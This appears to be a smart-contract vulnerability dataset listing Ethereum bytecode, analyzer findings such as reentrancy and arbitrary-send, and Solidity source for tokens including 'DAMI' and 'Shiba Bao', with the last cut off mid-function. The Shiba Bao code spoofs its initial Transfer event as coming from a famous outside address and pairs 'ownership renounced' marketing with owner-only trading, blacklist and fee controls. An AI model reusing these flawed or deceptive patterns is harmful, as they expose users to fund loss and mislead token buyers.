fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610681338484610f8d565b6007546001600160a01b0316336001600160a01b0316146109da57600080fd5b60006109e53061091e565b905061091b8161160c565b6000546001600160a01b03163314610a1a5760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610a675760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b6010805460ff1916600117905542600f5567d02ab4870a76ca00600d556801a055690d9db80000600e55565b6009546000906107e4906001600160a01b031661091e565b6007546001600160a01b0316336001600160a01b031614610acb57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610669565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610b955760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bd23082683635c9adc5dea00000610e69565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c349190611b1d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190611b1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d169190611b1d565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d468161091e565b600080610d5b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de89190611b3a565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611b68565b5050565b6001600160a01b038316610ecb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b0382166110535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b600081116110b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b600080546001600160a01b038581169116148015906110e257506000546001600160a01b03848116911614155b15611528576009546001600160a01b03858116911614801561111257506006546001600160a01b03848116911614155b801561113757506001600160a01b03831660009081526004602052604090205460ff16155b156113c45760105460ff1661118e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161077e565b600f544214156111ce5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161077e565b42600f54610e106111df9190611b85565b111561125957600e546111f18461091e565b6111fb9084611b85565b11156112595760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161077e565b6001600160a01b03831660009081526005602052604090206001015460ff166112c1576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d19190611b85565b11156113a557600d548211156113295760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161077e565b61133442601e611b85565b6001600160a01b038416600090815260056020526040902054106113a55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161077e565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113de575060105460ff165b80156113f857506009546001600160a01b03858116911614155b156115285761140842600f611b85565b6001600160a01b0385166000908152600560205260409020541061147a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161077e565b60006114853061091e565b905080156115115760105462010000900460ff161561150857600c54600954606491906114ba906001600160a01b031661091e565b6114c49190611b9d565b6114ce9190611bbc565b81111561150857600c54600954606491906114f1906001600160a01b031661091e565b6114fb9190611b9d565b6115059190611bbc565b90505b6115118161160c565b4780156115215761152147611587565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061156a57506001600160a01b03841660009081526004602052604090205460ff165b15611573575060005b6115808585858486611780565b5050505050565b6007546001600160a01b03166108fc6115a1600284611bbc565b6040518115909202916000818181858888f193505050501580156115c9573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115e4600284611bbc565b6040518115909202916000818181858888f19350505050158015610e65573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165057611650611bde565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cd9190611b1d565b816001815181106116e0576116e0611bde565b6001600160a01b0392831660209182029290920101526006546117069130911684610e69565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061173f908590600090869030904290600401611bf4565b600060405180830381600087803b15801561175957600080fd5b505af115801561176d573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061178c83836117a2565b905061179a868686846117e9565b505050505050565b60008083156117e25782156117ba5750600a546117e2565b50600b54600f546117cd90610708611b85565b4210156117e2576117df600d82611b85565b90505b9392505050565b6000806117f684846118c6565b6001600160a01b038816600090815260026020526040902054919350915061181f908590611ad1565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461184f908390611b85565b6001600160a01b038616600090815260026020526040902055611871816118fa565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b691815260200190565b60405180910390a3505050505050565b6000808060646118d68587611b9d565b6118e09190611bbc565b905060006118ee8287611ad1565b96919550909350505050565b30600090815260026020526040902054611915908290611b85565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195557858101830151858201604001528201611939565b81811115611967576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461091b57600080fd5b6000602082840312156119a457600080fd5b81356117e28161197d565b600080604083850312156119c257600080fd5b82356119cd8161197d565b946020939093013593505050565b600080604083850312156119ee57600080fd5b50508035926020909101359150565b600080600060608486031215611a1257600080fd5b8335611a1d8161197d565b92506020840135611a2d8161197d565b929592945050506040919091013590565b600060208284031215611a5057600080fd5b5035919050565b801515811461091b57600080fd5b600060208284031215611a7757600080fd5b81356117e281611a57565b60008060408385031215611a9557600080fd5b8235611aa08161197d565b91506020830135611ab08161197d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ae357611ae3611abb565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b2f57600080fd5b81516117e28161197d565b600080600060608486031215611b4f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b7a57600080fd5b81516117e281611a57565b60008219821115611b9857611b98611abb565b500190565b6000816000190483118215151615611bb757611bb7611abb565b500290565b600082611bd957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c445784516001600160a01b031683529383019391830191600101611c1f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220aec0a5f4f88a9107518896336a44d7acbdecc69d0b498f7af051e84bcbbb2a9e64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
453
0xaf9a3620dd490b475b67e2eee12ab854712baf6a
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; mapping(address => mapping(address => uint256)) internal allowed; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Owned { address public owner; function Owned() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ owner = newOwner; } } contract DAMIToken is StandardToken, Owned { string public name = 'DAMI'; string public symbol = 'DAMI'; uint8 public decimals = 18; uint public INITIAL_SUPPLY = 10**28; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); function DAMIToken(address beneficiaries) public { totalSupply_ = INITIAL_SUPPLY; balances[beneficiaries] = INITIAL_SUPPLY; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens * @param target Address to be frozen * @param freeze either to freeze it or not */ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(!frozenAccount[msg.sender]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Don't accept ETH */ function () public payable { revert(); } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100e25763ffffffff60e060020a60003504166306fdde0381146100e7578063095ea7b31461017157806318160ddd146101a757806323b872dd146101cc5780632ff2e9dc146101f4578063313ce56714610207578063661884631461023057806370a08231146102525780638da5cb5b1461027157806395d89b41146102a0578063a9059cbb146102b3578063b414d4b6146102d5578063cae9ca51146102f4578063d73dd62314610359578063dc39d06d1461037b578063dd62ed3e1461039d578063e724529c146103c2578063f2fde38b146103e8575b600080fd5b34156100f257600080fd5b6100fa610407565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561013657808201518382015260200161011e565b50505050905090810190601f1680156101635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017c57600080fd5b610193600160a060020a03600435166024356104a5565b604051901515815260200160405180910390f35b34156101b257600080fd5b6101ba610511565b60405190815260200160405180910390f35b34156101d757600080fd5b610193600160a060020a0360043581169060243516604435610517565b34156101ff57600080fd5b6101ba6106e3565b341561021257600080fd5b61021a6106e9565b60405160ff909116815260200160405180910390f35b341561023b57600080fd5b610193600160a060020a03600435166024356106f2565b341561025d57600080fd5b6101ba600160a060020a03600435166107ec565b341561027c57600080fd5b610284610807565b604051600160a060020a03909116815260200160405180910390f35b34156102ab57600080fd5b6100fa610816565b34156102be57600080fd5b610193600160a060020a0360043516602435610881565b34156102e057600080fd5b610193600160a060020a03600435166109df565b34156102ff57600080fd5b61019360048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109f495505050505050565b341561036457600080fd5b610193600160a060020a0360043516602435610b0d565b341561038657600080fd5b610193600160a060020a0360043516602435610bb1565b34156103a857600080fd5b6101ba600160a060020a0360043581169060243516610c53565b34156103cd57600080fd5b6103e6600160a060020a03600435166024351515610c7e565b005b34156103f357600080fd5b6103e6600160a060020a0360043516610d0a565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561049d5780601f106104725761010080835404028352916020019161049d565b820191906000526020600020905b81548152906001019060200180831161048057829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561052e57600080fd5b600160a060020a03841660009081526020819052604090205482111561055357600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561058657600080fd5b600160a060020a03841660009081526008602052604090205460ff16156105ac57600080fd5b600160a060020a03831660009081526008602052604090205460ff16156105d257600080fd5b600160a060020a0384166000908152602081905260409020546105fb908363ffffffff610d5416565b600160a060020a038086166000908152602081905260408082209390935590851681522054610630908363ffffffff610d6616565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610676908363ffffffff610d5416565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60075481565b60065460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561074f57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610786565b61075f818463ffffffff610d5416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561049d5780601f106104725761010080835404028352916020019161049d565b6000600160a060020a038316151561089857600080fd5b600160a060020a0333166000908152602081905260409020548211156108bd57600080fd5b600160a060020a03331660009081526008602052604090205460ff16156108e357600080fd5b600160a060020a03831660009081526008602052604090205460ff161561090957600080fd5b600160a060020a033316600090815260208190526040902054610932908363ffffffff610d5416565b600160a060020a033381166000908152602081905260408082209390935590851681522054610967908363ffffffff610d6616565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60086020526000908152604090205460ff1681565b600083610a0181856104a5565b15610b055780600160a060020a0316638f4ffcb1338630876040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a9e578082015183820152602001610a86565b50505050905090810190601f168015610acb5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610aec57600080fd5b6102c65a03f11515610afd57600080fd5b505050600191505b509392505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b45908363ffffffff610d6616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60035460009033600160a060020a03908116911614610bcf57600080fd5b600354600160a060020a038085169163a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c3257600080fd5b6102c65a03f11515610c4357600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610c9957600080fd5b600160a060020a03821660009081526008602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60035433600160a060020a03908116911614610d2557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d6057fe5b50900390565b600082820183811015610d7557fe5b93925050505600a165627a7a72305820d0735fe64a82c94e757f0b8811639812dec89efe1adaa150c0ea0b98fc9b11910029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
454
0x559b7e0b461eab2c665d981ef4161830e6eb61d0
/** *Submitted for verification at Etherscan.io on 2021-06-12 */ /** *Submitted for verification at Etherscan.io on 2021-06-12 */ /* t.me/shibaotoken Shiba Bao $SHIBAO So delicious! .__ ._____. _____| |__ |__\_ |__ _____ ____ / ___/ | \| || __ \\__ \ / _ \ \___ \| Y \ || \_\ \/ __ \( <_> ) /____ >___| /__||___ (____ /\____/ \/ \/ \/ \/ Twitter: https://twitter.com/getshibao Telegram: https://t.me/shibaotoken Instagram: https://instagram.com/realshibabao?utm_medium=copy_link Website: shibabao.finance Reddit: https://www.reddit.com/r/ShibaBao/ Marketing paid Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing Devs of other delicious shiba foods Got questions? [email protected] SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba Bao"; string private constant _symbol = unicode'SHIBAO🥟'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), 